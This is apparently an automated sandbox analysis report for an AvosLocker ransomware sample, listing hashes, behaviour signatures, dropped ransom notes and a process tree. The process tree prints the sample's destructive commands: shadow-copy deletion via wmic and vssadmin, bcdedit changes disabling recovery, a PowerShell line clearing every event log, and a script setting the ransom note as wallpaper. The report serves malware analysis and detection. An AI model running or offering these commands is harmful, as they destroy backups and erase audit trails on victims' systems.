Overview

overview

10

Static

static

1

794f3d25c4...81.exe

windows7-x64

10

794f3d25c4...81.exe

windows10-2004-x64

10

Resubmissions

18-04-2023 13:23

230418-qm9hxadd6t 10

18-04-2023 05:23

230418-f3g4gshg62 10

Analysis

  • max time kernel
    112s
  • max time network
    117s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18-04-2023 05:23

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    794f3d25c42d383fad485f9af1d6d7c0508bcfe8ed80a1afea0e0b51bf92bc81.exe

  • Size

    807KB

  • MD5

    540a177a21044860e104dc2b0512a524

  • SHA1

    20014c52c83ed4cb87a2166ee77937684f1fbeb9

  • SHA256

    794f3d25c42d383fad485f9af1d6d7c0508bcfe8ed80a1afea0e0b51bf92bc81

  • SHA512

    234d9b2c9a4b204e4962a9ba02824dfb312347a10bf642642e804b43db91786b0509022c33a671b0dc68cc89ca38841ffd33d38cefa928b8f10af298cc0beac8

  • SSDEEP

    12288:0Z4s3rg9u/2/oT+NXtHLlP/O+OeO+OeNhBBhhBBAtHg9rjI+LXJ0ivlzkHBDsYAZ:u4s+oT+NXBLi0rjFXvyHBlbtCZa8

Score
10/10
avoslockerevasionransomware

Malware Config

Signatures

  • Avoslocker Ransomware

    Avoslocker is a relatively new ransomware, that was observed in late June and early July, 2021.

    ransomwareavoslocker
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Modifies extensions of user files 6 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 64 IoCs
  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\794f3d25c42d383fad485f9af1d6d7c0508bcfe8ed80a1afea0e0b51bf92bc81.exe
    "C:\Users\Admin\AppData\Local\Temp\794f3d25c42d383fad485f9af1d6d7c0508bcfe8ed80a1afea0e0b51bf92bc81.exe"
    1⤵
    • Modifies extensions of user files
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2132
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c wmic shadowcopy delete /nointeractive
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2708
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic shadowcopy delete /nointeractive
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4508
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c vssadmin.exe Delete Shadows /All /Quiet
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2716
      • C:\Windows\system32\vssadmin.exe
        vssadmin.exe Delete Shadows /All /Quiet
        3⤵
        • Interacts with shadow copies
        PID:4180
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c bcdedit /set {default} recoveryenabled No
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4020
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} recoveryenabled No
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:2088
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1964
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:4412
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2356
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2232
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$a = [System.IO.File]::ReadAllText(\"C:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:19172
      • C:\Windows\system32\reg.exe
        "C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\2125497753.png /f
        3⤵
        • Sets desktop wallpaper using registry
        PID:13076
      • C:\Windows\system32\rundll32.exe
        "C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False
        3⤵
          PID:19328
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:5264
    • C:\Windows\system32\NOTEPAD.EXE
      "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\GET_YOUR_FILES_BACK.txt
      1⤵
      • Opens file in notepad (likely ransom note)
      PID:9124
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
        PID:17860

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\GET_YOUR_FILES_BACK.txt
        Filesize

        1011B

        MD5

        9bcb42cd18f95356b2d1a1a4de0b5aad

        SHA1

        b03da5cab852e8fafc12a52e424ec4b10431270d

        SHA256

        6e66527651da97c609c697e763e165eaf0fa1da104c26d311ec48fec9950ae24

        SHA512

        85961b90024f25a20943f9ce3b3c0959ced373d7b548cfc533bb51164aa615125528352438ab43e4b285ab570268bb4ed46f861db89d29d830230b9f63b0f496

        Download Submit

      • C:\GET_YOUR_FILES_BACK.txt
        Filesize

        1011B

        MD5

        9bcb42cd18f95356b2d1a1a4de0b5aad

        SHA1

        b03da5cab852e8fafc12a52e424ec4b10431270d

        SHA256

        6e66527651da97c609c697e763e165eaf0fa1da104c26d311ec48fec9950ae24

        SHA512

        85961b90024f25a20943f9ce3b3c0959ced373d7b548cfc533bb51164aa615125528352438ab43e4b285ab570268bb4ed46f861db89d29d830230b9f63b0f496

        Download Submit

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        Filesize

        2KB

        MD5

        6cf293cb4d80be23433eecf74ddb5503

        SHA1

        24fe4752df102c2ef492954d6b046cb5512ad408

        SHA256

        b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

        SHA512

        0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

        Download Submit

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        Filesize

        64B

        MD5

        7274a07d1b80de6f66290b47588cee3b

        SHA1

        d926b384806c755fe6b9d03f68852765aabb5703

        SHA256

        5eba7517357473e4d5d7ede75c3768069c578d2b0023473fd67f76b373430de8

        SHA512

        b7813fea9091298d48c87b259b0d4473ddc4480667f82ed6b5f8bdfa600590dcbfb1d62cbaca649dcf321d85cb786bf62d48826ab04297a22b7c88439b94bcf3

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ezxwde0o.emy.ps1
        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        Download Submit

      • C:\Users\Admin\Desktop\GET_YOUR_FILES_BACK.txt
        Filesize

        1011B

        MD5

        9bcb42cd18f95356b2d1a1a4de0b5aad

        SHA1

        b03da5cab852e8fafc12a52e424ec4b10431270d

        SHA256

        6e66527651da97c609c697e763e165eaf0fa1da104c26d311ec48fec9950ae24

        SHA512

        85961b90024f25a20943f9ce3b3c0959ced373d7b548cfc533bb51164aa615125528352438ab43e4b285ab570268bb4ed46f861db89d29d830230b9f63b0f496

        Download Submit

      • memory/2232-606-0x000001E4FCAD0000-0x000001E4FCAE0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/2232-607-0x000001E4FCAD0000-0x000001E4FCAE0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/2232-644-0x000001E4FCBE0000-0x000001E4FCC02000-memory.dmp

        Filesize

        136KB

        Download

      • memory/2232-731-0x000001E4FCAD0000-0x000001E4FCAE0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/19172-24897-0x0000025F19640000-0x0000025F19650000-memory.dmp

        Filesize

        64KB

        Download

      • memory/19172-24901-0x0000025F19640000-0x0000025F19650000-memory.dmp

        Filesize

        64KB

        Download